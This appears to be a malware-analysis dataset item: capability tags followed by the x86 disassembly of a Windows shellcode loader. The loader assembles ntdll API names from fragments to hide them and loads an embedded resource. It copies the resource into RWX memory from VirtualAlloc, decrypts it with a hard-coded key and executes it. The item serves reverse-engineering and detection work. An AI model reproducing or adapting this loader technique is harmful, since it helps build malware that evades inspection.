Function at 0x402037
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call

Disassembly:
push ebp
sub esp, 0x150
lea ebp, [esp - 4]
mov eax, dword [0x431c60]
xor eax, ebp
mov dword [ebp + 0x150], eax
push 0x3c
mov eax, 0x4266ea
call fcn.0040f9da
xor esi, esi
push str.LdrFin
lea ecx, [ebp + 0x54]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x2c], 0xa
mov dword [ebp - 0x28], 0x1e55
mov dword [ebp - 0x24], 0x809
call fcn.004016fa
push str.dReso
lea ecx, [ebp + 0x38]
mov dword [ebp - 4], esi
call fcn.004016fa
xor ebx, ebx
inc ebx
push str.urce_U
lea ecx, [ebp + 0x70]
mov byte [ebp - 4], bl
call fcn.004016fa
lea eax, [ebp + 0x38]
push eax
lea eax, [ebp + 0x54]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 2
call fcn.0040171c
lea ecx, [ebp + 0x70]
push ecx
push eax
lea eax, [ebp + 0x1c]
push eax
mov byte [ebp - 4], 3
call fcn.0040171c
add esp, 0x18
push esi
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 5
call fcn.0040125f
push 0x4286a4
lea ecx, [ebp + 0xe0]
call fcn.004016fa
push str.Acces
lea ecx, [ebp + 0xc4]
mov byte [ebp - 4], 6
call fcn.004016fa
push str.sResource
lea ecx, [ebp + 0xfc]
mov byte [ebp - 4], 7
call fcn.004016fa
lea eax, [ebp + 0xc4]
push eax
lea eax, [ebp + 0xe0]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 8
call fcn.0040171c
lea ecx, [ebp + 0xfc]
push ecx
push eax
lea eax, [ebp]
push eax
mov byte [ebp - 4], 9
call fcn.0040171c
add esp, 0x18
mov byte [ebp - 4], 0xb
push esi
push ebx
lea ecx, [ebp - 0x48]
call fcn.0040125f
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.LdrAc
lea ecx, [ebp + 0x118]
mov dword [ebp - 0x10], eax
call fcn.004016fa
push str.cessRe
lea ecx, [ebp + 0x8c]
mov byte [ebp - 4], 0xc
call fcn.004016fa
push str.source
lea ecx, [ebp + 0xa8]
mov byte [ebp - 4], 0xd
call fcn.004016fa
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp + 0x118]
push eax
lea eax, [ebp - 0x48]
push eax
mov byte [ebp - 4], 0xe
call fcn.0040171c
lea ecx, [ebp + 0xa8]
push ecx
push eax
lea eax, [ebp + 0x134]
push eax
mov byte [ebp - 4], 0xf
call fcn.0040171c
add esp, 0x18
push esi
push ebx
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0x11
call fcn.0040125f
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push dword [ebp - 0x10]
call edi
cmp dword [ebp + 0x14c], 0x10
mov dword [0x4333c8], eax
mov eax, dword [ebp + 0x138]
jae 0x40220d
lea eax, [ebp + 0x138]
push eax
push dword [ebp - 0x10]
call edi
mov dword [0x4333c4], eax
lea eax, [ebp - 0x20]
push eax
push 3
lea eax, [ebp - 0x2c]
push eax
mov edi, 0x400000
push edi
call dword [0x4333c8]
test eax, eax
jl 0x402244
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
push edi
call dword [0x4333c4]
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
push str.C:Users_
mov dword [ebp - 0x10], esi
call edi
test eax, eax
jne 0x40226d
push 0x40
push 0x1000
push dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
call fcn.0040f280
lea eax, [ebp - 0x18]
push eax
push 0x29
push str._n_c___RvtmvcW3_F3F9LB__b_vsUAKSO6FZw3
call fcn.0040115f
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00401b93
add esp, 0x24
push esi
push str.C:Users_
call edi
test eax, eax
jne 0x4022ac
call dword [ebp - 0x10]
push esi
push ebx
lea ecx, [ebp + 0x134]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0xa8]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x8c]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x118]
call fcn.0040125f
push esi
lea ecx, [ebp]
push ebx
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0xfc]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0xc4]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0xe0]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x1c]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x70]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x38]
call fcn.0040125f
push esi
push ebx
lea ecx, [ebp + 0x54]
call fcn.0040125f
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x150]
xor ecx, ebp
call fcn.0040f9cb
add ebp, 0x154
leave
ret